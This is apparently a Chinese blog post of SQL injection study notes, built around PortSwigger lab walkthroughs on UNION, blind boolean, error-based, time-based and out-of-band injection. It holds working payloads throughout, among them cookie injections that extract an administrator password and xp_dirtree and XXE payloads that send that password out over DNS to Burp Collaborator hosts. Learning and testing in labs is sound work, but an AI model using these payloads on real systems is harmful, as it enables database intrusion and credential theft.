SQL注入初探

SQL注入专题

大多数 SQL 注入漏洞都发生在查询的子句中。大多数有经验的测试人员都熟悉这种类型的 SQL 注入。WHERE``SELECT

但是,SQL 注入漏洞可能发生在查询中的任何位置以及不同的查询类型中。出现 SQL 注入的其他一些常见位置是:

  • 在语句中,在更新的值或子句中。UPDATE``WHERE
  • 在语句中,在插入的值内。INSERT
  • 在语句中,在表或列名中。SELECT
  • 在语句中,在子句中。SELECT``ORDER BY
SQL 注入 UNION 攻击

若要使查询正常工作,必须满足两个关键要求:UNION

  • 单个查询必须返回相同数量的列。
  • 每列中的数据类型必须在各个查询之间兼容。

要执行SQL注入UNION攻击,请确保您的攻击满足这两个要求。这通常包括找出:

  • 从原始查询返回的列数。
  • 从原始查询返回的哪些列具有合适的数据类型,用于保存注入查询的结果。

union select 1,2,3,.... ---

union select null,null,null........ --

测试每个列的类型,这里只测试是否为字符型

union select 'a',null,nulll ..... --

union select null,'a',nulll ..... --

在 Oracle 上,每个查询都必须使用关键字并指定一个有效的表。Oracle 上有一个名为 Oracle的内置表,可用于此目的。因此,在 Oracle 上注入的查询需要如下所示:SELECT``FROM``dual

' UNION SELECT NULL FROM DUAL--
检索单个列中的多个值

在某些情况下,上一示例中的查询可能只返回单个列。

通过将值连接在一起,可以在此单个列中同时检索多个值。您可以包含一个分隔符,以便区分组合值。例如,在 Oracle 上,您可以提交输入:

' UNION SELECT username || '~' || password FROM users--

这使用双管道序列,它是 Oracle 上的字符串连接运算符。注入的查询将 和 字段的值连接在一起,并用字符分隔。||``username``password``~

列出数据库的内容

大多数数据库类型(Oracle 除外)都有一组称为信息架构的视图。这提供了有关数据库的信息。

例如,您可以查询以列出数据库中的表:information_schema.tables

SELECT * FROM information_schema.tables

这将返回如下所示的输出:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE ===================================================== 
MyDatabase     dbo           Products    BASE TABLE 
MyDatabase     dbo           Users       BASE TABLE 
MyDatabase     dbo           Feedback    BASE TABLE

此输出指示有三个表,分别称为 、 和 。Products``Users``Feedback

然后,您可以查询以列出各个表中的列:information_schema.columns

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

这将返回如下所示的输出:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE ================================================================= 
MyDatabase     dbo           Users       UserId       int 
MyDatabase     dbo           Users       Username     varchar 
MyDatabase     dbo           Users       Password     varchar

这里一定要理清楚:

information_schema.tables是一个包含了所有数据库和数据库中表的一个数据库

它里面的table_name相当于一个数据库名称

它里面的column_name相当于一个数据库中的表

通过触发条件响应来利用盲目 SQL 注入

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

处理包含 Cookie 的请求时,应用程序使用 SQL 查询来确定这是否是已知用户:TrackingId

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

此查询容易受到 SQL 注入的攻击,但查询结果不会返回给用户。但是,应用程序的行为确实会有所不同,具体取决于查询是否返回任何数据。如果提交已识别的 ,则查询将返回数据,并且您会在响应中收到“欢迎回来”消息。TrackingId

此行为足以利用 SQL 盲注漏洞。您可以通过有条件地触发不同的响应来检索信息,具体取决于注入的条件。

实验室:具有条件响应的盲 SQL 注入

本实验包含一个 SQL 盲注漏洞。应用程序使用跟踪 Cookie 进行分析,并执行包含已提交 Cookie 值的 SQL 查询。

不返回 SQL 查询的结果,也不显示任何错误消息。但是,如果查询返回任何行,则应用程序会在页面中包含“欢迎回来”消息。

该数据库包含一个名为 的不同表,其中的列名为 和 。您需要利用SQL盲注漏洞来找出用户的密码。users``username``password``administrator

要解决实验室问题,请以用户身份登录。administrator

cookie=xxx' and '1'='1 --+

确定有users表 cookie=xxx' and (select 'a' from users limit 1)='a' --+ 有welcome back

确定users表中有administrator cookie=xxx' and (select 'a' from users where username='administrator')='a' --+

确定密码长度为20位 cookie=xxx' and (select 'a' from users where username='administrator' and length(password)>1 )='a' --+

查看密码的第一位是否为a cookie=xxx' and (select substring(password,1,1) from users where username='administrator' )='a' --+

通过触发条件错误来利用盲目 SQL 注入

某些应用程序执行 SQL 查询,但无论查询是否返回任何数据,其行为都不会更改。上一节中的技术将不起作用,因为注入不同的布尔条件对应用程序的响应没有影响。

通常可以诱使应用程序返回不同的响应,具体取决于是否发生 SQL 错误。您可以修改查询,使其仅在条件为 true 时才导致数据库错误。很多时候,数据库引发的未经处理的错误会导致应用程序的响应出现一些差异,例如错误消息。这使您能够推断注入条件的真实性

MySQL 支持 LIMIT 语句来选取指定的条数数据, Oracle 可以使用 ROWNUM 来选取。

end from dual必须存在,也就是这个表dual必须存在,否则上面的也不会执行。
就相当于from是一个循环,后面的数据库是他的条件。
而上面的case when .....else 相当于if.....else

Cookie: TrackingId=sYgcPyLAvyXNn9ke'||(select '' )--; 查看页面,发现报错

Cookie: TrackingId=sYgcPyLAvyXNn9ke'||(select '' from dual)--; 查看页面,正常显示

说明这里的sql语句执行了

Cookie: TrackingId=sYgcPyLAvyXNn9ke'||(select '' from users where rownum=1)--;

查看users表中的第一行,相当于mysql中的limit

Cookie: TrackingId=sYgcPyLAvyXNn9ke'||(select case when(1=1) then to_char(1/0) else '' end from dual)--;

使用Oracle数据库的判断语句,相当于mysql的if,如果when中的判断语句为真,那么执行第一条语句,否则执行第二条语句,end from必须要有,相当于mysql中的直接from。然后观察1=1和1=2时的页面变化

上面的语句页面返回出错,代表执行了第一个语句,返回了0

Cookie: TrackingId=sYgcPyLAvyXNn9ke'||(select case when(1=2) then to_char(1/0) else '' end from dual)--;

这里1=2,执行了第二个语句,从dual表中返回一个空值

这就可以根据返回来进行一个字符一个字符的进行猜测

Cookie: TrackingId=6VIiMnNxqgWPoNNg'||(select case when length(password)>19 then to_char(1/0) else '' end from users where username='administrator')--

判断users表中用户administrator的密码password的长度,知道返回正常页面可以判断长度为20

Cookie: TrackingId=6VIiMnNxqgWPoNNg'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')--

这里需要注意在Oracle中,取子字符的是substr函数

判断密码的每一个字符,使用intruder模块爆破

然后只看页面返回错误的即可

您可以使用该函数来实现此目的。它使您能够将一种数据类型转换为另一种数据类型。例如,假设一个包含以下语句的查询:CAST()

CAST((SELECT example_column FROM example_table) AS int)

把查询到的1转换为int类型,提示这种错误,可以看出,必须是布尔类型

Cookie: TrackingId=B0naaLfv7lMY7WLR' and cast((select 1)as int)--;

那就构造一个布尔类型的,只要进行判读的就行,这时发现页面返回正常了

Cookie: TrackingId=B0naaLfv7lMY7WLR' and 1=cast((select 1)as int)--;

这里说明sql语句执行了,构造sql语句

Cookie: TrackingId=B0naaLfv7lMY7WLR' and 1=cast((select username from users)as int)--;

这里看到返回的页面,语句到as后面就没有了,应该超长了,减少cookie的值,试试

Cookie: TrackingId=B0naaLfvR' and 1=cast((select username from users)as int)--;

发现这里说,超过了一行,加上限制,只查询一行,这里要注意,记得修改长度

Cookie: TrackingId=BR' and 1=cast((select username from users limit 1)as int)--;

这里看到,返回了用户administrator,说他的类型不是int,那么密码也是以字符串存入,是否可以呢,而且第一行就是administrator,密码第一行也就是他的密码了

Cookie: TrackingId=BR' and 1=cast((select password from users limit 1)as int)--;

时间注入

如果应用程序在执行 SQL 查询时捕获数据库错误并正常处理它们,则应用程序的响应不会有任何差异。这意味着以前用于诱发条件错误的技术将不起作用。

在这种情况下,通常可以通过触发时间延迟来利用盲 SQL 注入漏洞,具体取决于注入条件是真还是假。由于 SQL 查询通常由应用程序同步处理,因此延迟 SQL 查询的执行也会延迟 HTTP 响应。这允许您根据接收 HTTP 响应所花费的时间来确定注入条件的真实性。

经测试,只有pg数据库可以,这里cookie已经删除了一部分,防止长度过长,%3b是;的url编码,这里就是堆叠注入和时间注入联合,两个sql语句之间用;分开,两个语句都会执行

Cookie: TrackingId=z'%3bselect case when(1=1) then pg_sleep(10) else null end--;

查看users表中是否有administrator

Cookie: TrackingId=z'%3bselect case when username='administrator' then pg_sleep(10) else null end from users--;

猜测administrator的password的长度

Cookie: TrackingId=z'%3bselect case when username='administrator' and length(password)>1 then pg_sleep(10) else null end from users--;

猜测administrator的密码password的每一个字符

Cookie: TrackingId=k'%3bselect case when username='administrator' and substring(password,1,1)='q' then pg_sleep(10) else null end from users--

在intruder模块上的列上选择响应时间,即可显示响应的时间,通过排序即可确定密码。这里因为之前版本问题,从52pj上下载了最新版2023.12.1,才显示出来,最新版界面真好看(保存在123云盘里面)

使用带外 (OAST) 技术利用盲 SQL 注入

应用程序可以执行与上一个示例相同的 SQL 查询,但以异步方式执行。应用程序继续在原始线程中处理用户的请求,并使用另一个线程通过跟踪 Cookie 执行 SQL 查询。该查询仍然容易受到 SQL 注入的攻击,但到目前为止描述的任何技术都不起作用。应用程序的响应不依赖于返回任何数据的查询、发生的数据库错误或执行查询所花费的时间。

在这种情况下,通常可以通过触发与所控制的系统的带外网络交互来利用盲目 SQL 注入漏洞。这些可以根据注入条件触发,以一次推断一条信息。更有用的是,数据可以直接在网络交互中泄露。

为此,可以使用多种网络协议,但通常最有效的是 DNS(域名服务)。许多生产网络允许 DNS 查询的自由出口,因为它们对于生产系统的正常运行至关重要。

使用带外技术的最简单、最可靠的工具是 Burp Collaborator。这是提供各种网络服务(包括 DNS)的自定义实现的服务器。它允许您检测何时由于向易受攻击的应用程序发送单个有效负载而发生网络交互。Burp Suite Professional 包括一个内置客户端,该客户端配置为开箱即用,可与 Burp Collaborator 配合使用。有关详细信息,请参阅 Burp Collaborator 的文档。

触发 DNS 查询的技术特定于所使用的数据库类型。例如,Microsoft SQL Server 上的以下输入可用于在指定域上进行 DNS 查找:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

这会导致数据库对以下域执行查找:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

您可以使用 Burp Collaborator 生成唯一的子域并轮询 Collaborator 服务器以确认何时发生任何 DNS 查找。

确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中泄露数据。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

此输入读取用户的密码,附加唯一的协作者子域,并触发 DNS 查找。通过此查找,您可以查看捕获的密码:Administrator

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

带外 (OAST) 技术是检测和利用盲目 SQL 注入的有效方法,因为它的成功几率很高,并且能够直接在带外通道内泄露数据。因此,即使在其他盲目利用技术确实有效的情况下,OAST技术也往往是可取的。

UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

这里通过dns查询返回密码,密码拼接在域名dns中

kp3tk0ormywu8vjeie6v.skgimhrlscls82gwstnnbic63x9pxfl4.oastify.com.

在前面的实验中,你使用查询字符串注入恶意 SQL 有效负载。但是,您可以使用应用程序作为 SQL 查询处理的任何可控输入来执行 SQL 注入攻击。例如,一些网站采用JSONXML格式的输入,并使用它来查询数据库。

这些不同的格式可能会为您提供不同的方法来混淆由于 WAF 和其他防御机制而阻止的攻击。弱实现通常会在请求中查找常见的 SQL 注入关键字,因此您可以通过对禁止的关键字中的字符进行编码或转义来绕过这些过滤器。例如,以下基于 XML 的 SQL 注入使用 XML 转义序列对 :S``SELECT

<stockCheck>    
    <productId>123</productId>    
    <storeId>999 SELECT * FROM information_schema.tables</storeId> 
</stockCheck>

这将在传递给 SQL 解释器之在服务器端解码。

通过 XML 编码绕过过滤器的 SQL 注入

在上面的基础上对抓取的数据包进行编码绕过waf

我这里抓取了数据包,不知为何在repeter发送一直报错,而且不是waf拦截的错误,一直提示"XML parsing error",所以我是一个一个包进行拦截发送,累

刚开始在XML编辑处修改<storeId>1+1</storeId>,返回了不属于原本的值,所以这里可能存在注入,继续测试<storeId>1 SELECT</storeId>,这里返回Could not fetch stock levels!,这判断不出任何东西,因为这只是超出了原本的值,看别人都有waf拦截提示,哎,烦躁啊,假设这里进行了waf拦截,并且不给出提示,那么直接进行联合查询试试,<storeId>1 UNION SELECT NULL</storeId>,发现返回依旧是这个,那么进行编码呢,把<storeId>中的值编码,使用hackvertor

浏览器返回了administrator~cpsjc72tjk2vvvkk4orz

二次注入

当应用程序处理来自 HTTP 请求的用户输入并以不安全的方式将输入合并到 SQL 查询中时,就会发生一阶 SQL 注入。

当应用程序从 HTTP 请求中获取用户输入并将其存储以供将来使用时,就会发生二阶 SQL 注入。这通常是通过将输入放入数据库来完成的,但在存储数据时不会发生漏洞。稍后,在处理不同的 HTTP 请求时,应用程序会检索存储的数据,并以不安全的方式将其合并到 SQL 查询中。因此,二阶 SQL 注入也称为存储 SQL 注入。

二阶 SQL 注入通常发生在开发人员意识到 SQL 注入漏洞的情况下,因此可以安全地处理输入到数据库中的初始位置。当数据被稍后处理时,它被认为是安全的,因为它之前被安全地放入数据库中。此时,数据以不安全的方式处理,因为开发人员错误地认为它是可信的。

posted @   whitehe  阅读(10)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 提示词工程——AI应用必不可少的技术
· 地球OL攻略 —— 某应届生求职总结
· 字符编码:从基础到乱码解决
· SpringCloud带你走进微服务的世界
点击右上角即可分享
微信分享提示